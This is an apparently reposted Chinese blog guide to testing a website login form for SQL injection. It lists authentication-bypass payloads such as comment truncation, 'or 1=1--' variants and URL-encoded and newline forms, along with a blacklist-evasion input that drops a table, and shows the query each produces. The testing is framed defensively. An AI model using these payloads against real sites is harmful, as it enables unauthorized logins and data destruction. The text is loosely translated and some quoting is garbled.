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sql百态01-post

时间:2016-04-08 19:51:34      阅读:159      评论:0      收藏:0      [点我收藏+]

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第一个输入字段我喜欢测试“搜索引擎”和“登录表单”的一个网站,最下面的例子是测试一个“登录表单”。你应该旨在抑制任何错误消息和服务器响应在生产环境中,把开发人员调试。我们将假定接收脚本有一个最严重的SQL语句:

  1   SELECT *  
  2   FROM users  
  3   WHERE username=<submitted_username>  
  4   AND password=<submitted_password> 

1.Random SQL(随机的SQL):一些随机的SQL类型的输入值,看看服务器返回一个消息

1   Username:     SELECT Username FROM Users WHERE ID=1 
2   Password:     SELECT MD5(Password) FROM Users WHERE ID=1 
  
 -- evaluates to: 
SELECT * FROM users WHERE username=SELECT Username FROM Users WHERE ID=1 AND password=SELECT MD5(Password) FROM Users WHERE ID=1 

Result should be "invalid username/password". Suppress any other messages

2.wildcards(通配符):输入一个(*)作为输入值进而观察结

 

1    Username:     * 
2    Password:     <Leave Blank> 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=* AND password=‘‘ 

Result should be "invalid username/password"

 

 3.comments-dashdash   输入一个一个已知的用户名(如:admin)作为输入,以及后缀注释命令(如:--)

1    Username:     admin‘-- 
2    Password:     <Leave Blank> 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=admin-- AND password=‘‘ 

Result should be "invalid username/password".

 

 4.comments-hash     输入一个一个已知的用户名(如:admin)作为输入,以及后缀注释命令(如:#)

1  Username:     admin# 
2   Password:     <Leave Blank> 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=admin# AND password=‘‘ 

Result should be "invalid username/password"

 5.Comments - bypassing pattern matches (绕过模式的匹配) 测试目标主机系统正在寻找诸如DROP关键字或避免的黑名单

  Username:     ;DR/**/OP tempTable; 
2  Password:     <Leave Blank> 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=‘‘;DROP tempTable; AND password=‘‘ 

 5.The Classic  输入以下命令“ ‘OR 1=1--”作为输入值,用知道存在的用户名替代“admin”

 

1  Username:     admin 
2  Password:      or 1=1-- 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=admin AND password=‘‘ OR 1=1-- 

Quick variations of this:  #这主要要看返回的什么错误,然后在具体应用
admin --  
 admin #  
 admin/*  
  or 1=1--  
  or 1=1#  
  or 1=1/*  
 ‘) or ‘1‘=‘1--  
 ‘) or (‘1‘=‘1--      

 7.Variations of the Classic: Comments  根据具体的系统,尝试输入注释语法,用知道存在的用户名替代“admin”

 

1  Username:     admin 
2  Password:      or 1=1 --IamJOE 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=admin AND password=‘‘ OR 1=1 --IamJOE

 8.Variations of the Classic: Empty 输入如:‘ or ‘ ‘=‘,用知道存在的用户名替换“admin”

 

1  Username:     admin 
2  Password:       or ‘‘= 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=admin AND password=  OR ‘‘=‘‘ 

 9.Variations of the Classic: NewLines(换行符) 某些脚本无法解析一个换行符,它是另一个查询或脚本修整提交的最后一行,用存在知道的用户名替“admin”

 

1  Username:     admin 
2  Password:     ‘ 
               OR 1=1-- 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=‘admin‘ AND password=‘‘ 
               OR 1=1--‘ 

**New lines in SQL should be understood as \r\n.

 10.Variations of the Classic: URL Encoded  尽管可以躲避掉转义‘,这里最有可能通过一个系统得到攻击。事实,所有在此页面上的攻击,可以将网址编码。键入以下内容:%27%20or%20%27%27%3D%27的输入值。

1  Username:     admin 
2  Password:     %27%20or%20%27%27%3D%27 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=admin AND password=‘‘ OR ‘‘=

 11.Guest Password 如果知道一个有效的username/password,check that your scripts do not validate on password alone.(空密码)

 

1  Username:     Guest 
2  Password:     <Password you know exists in system> 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=Guest AND password=<known_password>

 

sql百态01-post

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原文地址:http://www.cnblogs.com/Jdrops/p/5369620.html

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